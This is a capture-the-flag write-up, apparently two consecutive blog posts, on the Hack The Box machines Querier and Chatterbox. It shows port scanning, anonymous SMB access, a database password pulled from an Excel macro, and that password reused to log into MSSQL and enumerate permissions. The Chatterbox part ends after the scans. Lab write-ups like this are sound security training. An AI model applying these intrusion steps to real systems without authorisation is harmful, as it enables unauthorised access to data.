Hero Image
[HTB] Machine: Querier

Querier

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.125 -T4                                                            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:05 BST
Stats: 0:06:52 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 72.17% done; ETC: 03:15 (0:02:39 remaining)
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.15s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 693.11 seconds
└─$ nmap -Pn -p135,139,445,1433,5985 -sC -sV 10.10.10.125 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:18 BST
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.13s latency).

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.125:1433: 
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2023-09-06T19:18:33+00:00; -7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-06T14:05:43
|_Not valid after:  2053-09-06T14:05:43
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-06T19:18:24
|_  start_date: N/A
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds
  • smb
└─$ smbclient -N -L //10.10.10.125

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Foothold/User #1

  • //10.10.10.125/Reports
└─$ smbclient -N //10.10.10.125/Reports
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 28 23:23:48 2019
  ..                                  D        0  Mon Jan 28 23:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 22:21:34 2019

                5158399 blocks of size 4096. 828878 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (23.7 KiloBytes/sec) (average 23.7 KiloBytes/sec)
smb: \> exit
└─$ olevba 'Currency Volume Report.xlsm' 
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.11.4 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+
  • Let’s connect using impacket-mssqlclient
└─$ impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 32576
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

User #2

SQL> SELECT name FROM master.sys.databases;
name                                                                                                                               
--------------------------------------------------------------------------------------------------------------------------------   
master                                                                                                                             
tempdb                                                                                                                             
model                                                                                                                              
msdb                                                                                                                               
volume
SQL> use volume;
[*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
SQL> select * from volume.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG                                                                                                                      TABLE_SCHEMA                                                                                                                       TABLE_NAME                                                                                                                         TABLE_TYPE   

--------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   ----------   

SQL>
SQL> select name from sys.database_principals;
name                                                                                                                               
--------------------------------------------------------------------------------------------------------------------------------   
public                                                                                                                             
dbo                                                                                                                                
guest                                                                                                                              
INFORMATION_SCHEMA                                                                                                                 
sys                                                                                                                                
reporting                                                                                                                          
db_owner                                                                                                                           
db_accessadmin                                                                                                                     
db_securityadmin                                                                                                                   
db_ddladmin                                                                                                                        
db_backupoperator                                                                                                                  
db_datareader                                                                                                                      
db_datawriter                                                                                                                      
db_denydatareader                                                                                                                  
db_denydatawriter
SQL> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name                                               permission_name                                                
--------------------------------------                    ------------------------------------------------------------   
server                                                    CONNECT SQL                                                    
server                                                    VIEW ANY DATABASE

Hero Image
[HTB] Machine: Chatterbox

Chatterbox

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.74 -T4                       
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 11:10 BST
Stats: 0:08:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 52.82% done; ETC: 11:27 (0:07:54 remaining)
Nmap scan report for 10.10.10.74 (10.10.10.74)
Host is up (0.19s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
9255/tcp  open     mon
9256/tcp  open     unknown
└─$ nmap -Pn -p135,139,445,9255,9256 -sC -sV 10.10.10.74 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 11:42 BST
Nmap scan report for 10.10.10.74 (10.10.10.74)
Host is up (0.13s latency).

PORT     STATE SERVICE     VERSION
135/tcp  open  msrpc       Microsoft Windows RPC
139/tcp  open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open  �+sN'V      Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp open  http        AChat chat system httpd
|_http-title: Site doesn't have a title.
|_http-server-header: AChat
9256/tcp open  achat       AChat chat system
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h19m25s, deviation: 2h18m36s, median: 4h59m23s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Chatterbox
|   NetBIOS computer name: CHATTERBOX\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-09-01T11:41:53-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-09-01T15:41:51
|_  start_date: 2023-09-01T15:08:09

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds
  • Nothing on smb
  • Strange ports 9255 and 9256
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